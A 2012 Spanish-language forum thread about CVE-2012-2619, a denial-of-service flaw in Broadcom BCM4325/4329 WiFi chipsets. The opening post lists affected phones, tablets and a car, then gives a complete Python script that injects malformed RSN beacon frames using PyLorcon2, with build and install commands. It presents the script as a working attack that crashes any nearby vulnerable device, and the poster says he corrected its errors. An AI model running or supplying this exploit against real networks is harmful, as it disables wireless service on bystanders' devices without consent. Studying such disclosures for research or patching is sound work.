Denegación de servicio a multitud de smartphones vía WiFi

Iniciado por Aryenal.Bt, Noviembre 15, 2012, 03:31:56 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.


Estaba en mi casa tranquilamente decidiendo sobre el tema de una nueva entrada para hackplayers, cuando de pronto me llegó el siguiente email que os lo dejo integro tal y como lo recibí. Jejeje así me ahorro unos cuantos caracteres y me sirve de intro, que ando algo malito por el cambio estacional:

"Se ha publicado una vulnerabilidad presente en determinados Chipset de la firma Broadcom, en especial los modelos BCM4325/29 integrados en multitud de dispositivos inalámbricos como smartphones, tablets e incluso vehículos (como el Ford Edge).

El fallo permitiría realizar una denegación de servicio al módulo inalámbrico e incluso la revelación de información sensible según los propios investigadores. El fallo podría reproducirse atacando directamente al módulo WiFi independientemente del sistema operativo presente en el dispositivo. 

La vulnerabilidad (CVE-2012-2619) reportada por el laboratorio de CoreLabs (Core Security Technologies) fue descubierta por el investigador argentino Andrés Blanco, el cual que hizo una demostración pública durante la pasada Ekoparty en Buenos Aires, Argentina. Su compañero Matias Eissler desarrolló la prueba de concepto totalmente funcional.

Mediante estudios de ingeniería inversa consiguieron comprender la estructura del firmware de los dispositivos Broadcom, hallando la forma de alterar el tráfico WiFi (normativa IEEE 802.11) de tal manera que afectara a dichos dispositivos inalámbricos a través del envío de tramas RSN (IEEE 802.11i, WPA/WPA2) especialmente manipuladas.

El protocolo RSN (Robust Security Network) interviene en la negociación y establecimiento del tipo de autenticación y cifrado utilizado durante una sesión WPA/WPA2. 

En coordinación con los investigadores y el US-CERT, Broadcom facilitó 
a los diferentes fabricantes (Apple, HTC, Motorola, Sony, Nokia, Samsung...) un nuevo firmware que impide la vulnerabilidad para integrarlo en sus dispositivos, "por lo que se da como subsanada" XDD.

Los dispositivos afectados con el chipset BCM4325: 
Apple iPhone 3GS
Apple iPod 2G
HTC Touch Pro 2
HTC Droid Incredible
Samsung Spica
Acer Liquid
Motorola Devour
Vehículo Ford Edge
Dispositivos afectados con el chipset BCM4329:
Apple iPhone 4
Apple iPhone 4 Verizon
Apple iPod 3G
Apple iPad Wi-Fi
Apple iPad 3G
Apple iPad 2
Apple Tv 2G
Motorola Xoom
Motorola Droid X2
Motorola Atrix
Samsung Galaxy Tab
Samsung Galaxy S 4G
Samsung Nexus S
Samsung Stratosphere
Samsung Fascinate
HTC Nexus One
HTC Evo 4G
HTC ThunderBolt
HTC Droid Incredible 2
LG Revolution
Sony Ericsson Xperia Play
Pantech Breakout
Nokia Lumina 800
Kyocera Echo
Asus Transformer Prime
Malata ZPad"
Bueno una vez vista la noticia, gracias a los chicos de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta vamos a ver de que va un poco todo esto:

A la noticia le acompañaba el siguiente script de python, el cual en principio tiene un par de erratas que supongo pusieron a propósito ;D. Así que editamos el código en nuestro editor preferido y corregimos:

*Poned especial atencion en los campos que he coloreado.
Enlace al codigo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: php
---------------------------------------------------------------------------------------------
#!/usr/bin/env python

import sys
import time
import struct
import PyLorcon2

def beaconFrameGenerator():
    sequence = 0
    while(1):
        sequence = sequence % 4096

        # Frame Control
        frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon
        frame += '\x00' # Flags: 0
        frame += '\x00\x00' # Duration: 0
        frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff
        frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad
        frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad
        frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence:
#part of the generator
        # Frame Body
        frame += struct.pack('Q', time.time()) # Timestamp
        frame += '\x64\x00' # Beacon Interval: 0.102400 seconds
        frame += '\x11\x04' # Capability Information: ESS, Privacy,
#Short Slot time
        # Information Elements
        # SSID: buggy
        frame += '\x00\x05buggy'
        # Supported Rates: 1,2,5.5,11,18,24,36,54
        frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c'
        # DS Parameter Set: 6
        frame += '\x03\x01\x06'
        # RSN IE
        frame += '\x30' # ID: 48
        frame += '\x14' # Size: 20
        frame += '\x01\x00' # Version: 1
        frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP
        frame += '\x01\x00' # Pairwise cipher suite count: 1
        frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP
        frame += '\xff\xff' # Authentication suites count: 65535
        frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK
        frame += '\x00\x00'

        sequence += 1
        yield frame

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "Usage:"
        print "\t%s <wireless interface>" % sys.argv[0]
        sys.exit(-1)

    iface = sys.argv[1]
    context = PyLorcon2.Context(iface)
    context.open_injmon()

    generator = beaconFrameGenerator()

    for i in range(10000):
        frame = generator.next()
        time.sleep(0.100)
        context.send_bytes(frame)

---------------------------------------------------------------------------------


Cerramos nuestro editor guardando el archivo como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Para llevar a cabo la prueba de concepto, que el script sea funcional y echándole un ojo al código, nos damos cuenta que necesitamos tener instalado PyLorcon2

Procederemos a bajarlo directamente desde la consola:

Código: php
svn co http://802.11ninja.net/svn/lorcon/tags/lorcon2-200911-rc1/ lorcon2-200911-rc1


Instalamos el software necesario para construir lorcon2 and pylorcon2.

Código: php
sudo apt-get install libpcap-dev libnl-dev python-dev


procederemos a compilar lordcom2:

Código: php
$ cd lorcon2-200911-rc1
$ ./configure --libdir=/usr/lib...
$ make...
$ sudo make install...


El próximo paso será bajarnos e instalar pylorcom2:

Código: php
$ svn co http://pylorcon2.googlecode.com/svn/trunk pylorcon2
...
$ cd pylorcon2...
$ python setup.py build...
$ python setup.py install...


ahora testeamos el funcionamiento:


y procedemos a la prueba de concepto:


En seguida veremos a nuestra tarjeta de red "echa mistos":


y voilá!!! Cualquier dispositivo wifi con los chipset anteriormente mencionados caerá fulminado  ..a 30 mts a la redonda... con tan sólo realizar un escaneo de redes...

Sed buenos :D

Fuentes:
                 No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
                 No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
                 No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Noviembre 27, 2012, 01:12:24 PM #1 Ultima modificación: Noviembre 27, 2012, 05:15:23 PM por Sanko
Amigo yo tengo la Galaxy S2 SkyRocket SGH-I727 , Qué Onda?

HOla :) disculpa pero haces mención a una parte del codigo qeu "esta coloreada" y no logro verla ... a cuales lineas te referías?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
HOla :) disculpa pero haces mención a una parte del codigo qeu "esta coloreada" y no logro verla ... a cuales lineas te referías?

a cual te refieres¿?